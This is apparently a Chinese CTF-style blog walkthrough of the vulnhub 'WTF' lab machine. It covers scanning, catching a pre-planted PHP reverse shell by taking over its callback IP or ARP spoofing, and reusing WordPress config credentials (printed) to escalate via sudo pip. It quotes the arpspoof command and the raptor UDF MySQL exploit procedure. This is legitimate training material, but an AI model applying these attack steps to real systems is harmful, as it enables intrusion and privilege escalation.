vulhub:WTF

基本信息

靶机

靶机地址:
难度:
描述:

知识点、工具

nmap
gobuster
nc
linuxprivchecker
LinEnum
python -m SimpleHTTPServer 8000
searchsploit

0x00、信息收集

通过扫描网段,找到靶机的地址:
在这里插入图片描述

通过nmap扫描IP端口:
在这里插入图片描述
在使用nmap的脚本扫描对应的端口:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-10097  6.0     https://vulners.com/cve/CVE-2019-10097
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-0215   6.0     https://vulners.com/cve/CVE-2019-0215
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|_      CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

使用gobuster目录扫描,还可以使用dirb,disearch来扫描:

kali@kali:~$ gobuster dir -u http://192.168.147.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.147.129
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html,zip
[+] Timeout:        10s
===============================================================
2020/07/19 15:46:43 Starting gobuster
===============================================================
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
===============================================================
2020/07/19 15:49:03 Finished
===============================================================

0x01、漏洞利用

看到信息收集里面的cve,都去查了查,看看都是些什么漏洞,有没有可以利用的,不出意外,msf里面没有,那就说明利用起来还是有条件的,这里就暂时放弃了
在这里插入图片描述
然后,回过头来在去看刚刚扫描的目录,访问index.html,script什么都没有
在这里插入图片描述
在这里插入图片描述
后来看到大佬的walkthrough,发现还是要继续扫描,然后我就照着自己去下载了这个字典,然后在进行一次目录扫描:
在这里插入图片描述
访问这个目录,发现这个是一个wordpress,但是当点击,admin这里的时候,就去跳转到192.168.1.13
在这里插入图片描述
在这里插入图片描述
然后学习其他的walkthrough,包里面的IP改了
在这里插入图片描述
但是我这个是真的慢,不知道原因,然后对wordpress目录进一步扫描
在这里插入图片描述
然后在uploads这个目录发现有文件
在这里插入图片描述
直接点击这个shell.php,得到一串警告
在这里插入图片描述
使用burpsuit来访问这个shell.php
在这里插入图片描述
查看这个github里面的内容,有一直的告警,说明这个shell.php是一个php-reverse-shell,但是不知道具体的反弹IP和端口:
地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
在这里插入图片描述

0x02、getshell

修改静态地址获取shell

跟着walkthrougth学习使用mitm方式来攻击,使用wireshark来查看流量:
kali:192.168.147.128
靶机:192.168.147.129
未知IP:192.168.1.14
按照最初访问页面有个192.168.1.13的IP,那么推测这个192.168.1.14就是接受反弹shell的地址
反弹地址:192.168.1.14
反弹端口:5555
在这里插入图片描述
为了能获得shell,将kali的NAT模式改为192.168.1.0/24网段,并将kali静态地址设置为192.168.1.14 ,在侦听5555端口,这就可以获得shell
先修改kali的虚拟编辑器:
在这里插入图片描述
修改静态IP:
在这里插入图片描述
在使用 ifup eth0 重新配置网卡
在这里插入图片描述
再用nmap来扫描靶机的地址:
在这里插入图片描述
在kali上用nc来监听5555端口,访问shell.php,就可以getshell:
在这里插入图片描述

MITM获得shell

靶机:192.168.1.129
kali:192.168.1.128
shell反弹地址:192.168.1.14
shell反弹端口:5555
在这里插入图片描述
目标:这个时候就可以利用 ARP 欺骗来告诉靶机(192.168.1.129)我 KALI 这台主机的 IP 为 192.168.1.14,从而利用 ARP 协议让 KALI 的 MAC 地址和 192.168.1.14 相同,造成这么一个 ARP 欺骗

首先增加一个网卡:
在这里插入图片描述
在这里插入图片描述
将路由功能打开:
参考链接:https://blog.csdn.net/li_101357/article/details/78416813?fps=1&locationNum=2
在这里插入图片描述
先欺骗靶机192.168.1.129,kali的192.168.1.128地址为192.168.1.14:

arpspoof -i eth0 -t 192.168.1.129 192.168.1.14
注释:-i 指定网卡 -t 要arp欺骗的ip,第一个IP是告诉目标IP我们kali的IP为192.168.1.14

在这里插入图片描述

然后打开nc 监听5555端口,访问shell.php便可以拿到shell:
在这里插入图片描述

0x03、提权

通过root账户密码提权

查看常见的SUID可执行文件:

nmap
vim
less
more
nano
cp
mv
find
wget
bash

通过查找命令,没有查找到可执行的文件:

在这里插入图片描述
继续查看可执行文件:
在这里插入图片描述
在这里插入图片描述
查看定时任务:
在这里插入图片描述
在尝试sudo -l:
在这里插入图片描述
去查看wordpress的配置文件:
在这里插入图片描述

在这里插入图片描述
尝试用数据库用户名密码作为服务器的账户密码来登录,结果登录失败:
在这里插入图片描述
登录方式:SSH
登录用户:ra
登录密码:Db]f{He3HgO(z
在这里插入图片描述
查看.bash_history的内容:
在这里插入图片描述
使用sudo -l,可以看到/usr/bin/pip是root权限:
在这里插入图片描述
尝试通过pip来获取root权限:
在这里插入图片描述
输入pip的提权代码,执行之后就获得root权限了
在这里插入图片描述

尝试通过数据库UDF提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh,使用这些脚本来收集服务器上信息

同时开启一个python 服务器,用于在靶机下载这个提权的文件:
在这里插入图片描述
将提权脚本下载到tmp目录中,其他目录不一定有写入的权限:
在这里插入图片描述

在这里插入图片描述
执行脚本文件,并将脚本文件输入到result.txt中:
在这里插入图片描述
查看result.txt,可以查看到很多有用信息,例如mysql的版本:
在这里插入图片描述
看到这里可以考虑一下mysql 提权,通过searchsploit查找到对应的利用poc:
在这里插入图片描述
在kali里面找到1518.c,其实可以直接在
https://www.exploit-db.com/exploits/1518,这个链接下载:

在这里插入图片描述下载之后需要把文件编译为 .so 文件,并将 .so文件上传至服务器:

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

复制相关得代码,查看利用代码,从利用代码里面可以看到利用方法:

Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]

从利用的过程,说明需要登录mysql数据库,那么就去wordpress的配置文件中去找,看能不能找到对应的数据和密码:

在这里插入图片描述
可以查看到:
数据库名:wp_database
用户名:ra
密码:912391929129
在这里插入图片描述
利用用户名和密码登录数据库:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
但是查看了一下数据库的版本,版本是10.3.18,可能是linprivchecker.py脚本误报了,可能是不存在udf提权漏洞了

0x04、总结

中间人攻击:https://www.cnblogs.com/LittleHann/p/3735602.html
linuxprivchecker:
https://github.com/sleventyeleven/linuxprivchecker
LinEnum:
https://github.com/rebootuser/LinEnum
常用于提权的二进制:
https://gtfobins.github.io/

参考文章:
https://blog.csdn.net/weixin_44214107/article/details/103537647
https://blog.csdn.net/qq_43430261/article/details/107258466

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值